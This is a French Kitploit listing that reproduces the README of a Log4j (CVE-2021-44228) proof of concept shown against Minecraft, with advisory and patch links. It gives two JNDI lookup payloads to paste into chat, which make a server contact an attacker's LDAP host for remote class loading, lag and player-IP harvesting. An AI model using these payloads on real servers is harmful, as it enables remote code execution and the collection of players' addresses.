Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Log4j-PoC — Une preuve de concept éducative pour la vulnérabilité Log4j (CVE-2021-44228) dans Minecraft | Kitploit
Outils/GitHubGitHub/sma-das/log4j-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubsma-das/log4j-poc

Log4j-PoC

Une preuve de concept éducative pour la vulnérabilité Log4j (CVE-2021-44228) dans Minecraft

Voir le dépôt
3il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de Concept pour Log4j (CVE-2021-44228)

Avertissement

Ce projet est uniquement à des fins éducatives.


Introduction

Ceci est une preuve de concept de la RCE log4j adaptée de HyCraftHD.

Voici quelques liens pour la CVE-2021-44228 :

  • https://www.lunasec.io/docs/blog/log4j-zero-day
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://www.youtube.com/watch?v=JPGola6BamU

Ce bogue affecte presque toutes les versions de log4j2 et peut-être aussi log4j1. La version recommandée à utiliser est 2.15.0 qui corrige l'exploit.

Démonstration avec Minecraft (qui utilise log4j2)

  • Les détails de l'impact sur Minecraft sont listés ici : https://twitter.com/slicedlime/status/1469150993527017483
  • L'article de Minecraft se trouve ici : https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
  • Versions corrigées de Minecraft Forge : https://twitter.com/gigaherz/status/1469331288368861195
  • Article détaillé de Minecraft Forge : https://gist.github.com/TheCurle/f15a6b63ceee3be58bff5e7a97c3a4e6
  • Versions corrigées de Minecraft Fabric : https://twitter.com/slicedlime/status/1469192689904193537
  • Versions corrigées de Minecraft Paper : https://twitter.com/aurora_smiles_/status/1469205803232026625
  • Versions corrigées de Minecraft Spigot : https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
  • Versions corrigées de Minecraft Sponge : https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196

Lag ou envoi de données sérialisées

  • Collez ${jndi:ldap://127.0.0.1/e} dans le chat. S'il y a un socket ouvert sur le port 389, log4j essaie de se connecter et bloque toute communication ultérieure jusqu'à un délai d'attente.
  • En utilisant cet exploit de preuve de concept, la console enregistrera THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT! qui est un objet chaîne sérialisé provenant du serveur LDAP.

image

  • De plus, le serveur LDAP malveillant reçoit chaque adresse IP où le message est enregistré. Cela signifie que les adresses IP des joueurs sur un serveur peuvent être collectées via cet exploit.

RCE

  • Collez ${jndi:ldap://127.0.0.1/exe} dans le chat. Si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true est défini sur true, l'exécution de code à distance se produira.

image

  • Heureusement, les JDK modernes désactivent le chargement de classes à distance par défaut. (https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
  • Les anciennes versions peuvent encore permettre cela !!
Télécharger l’outil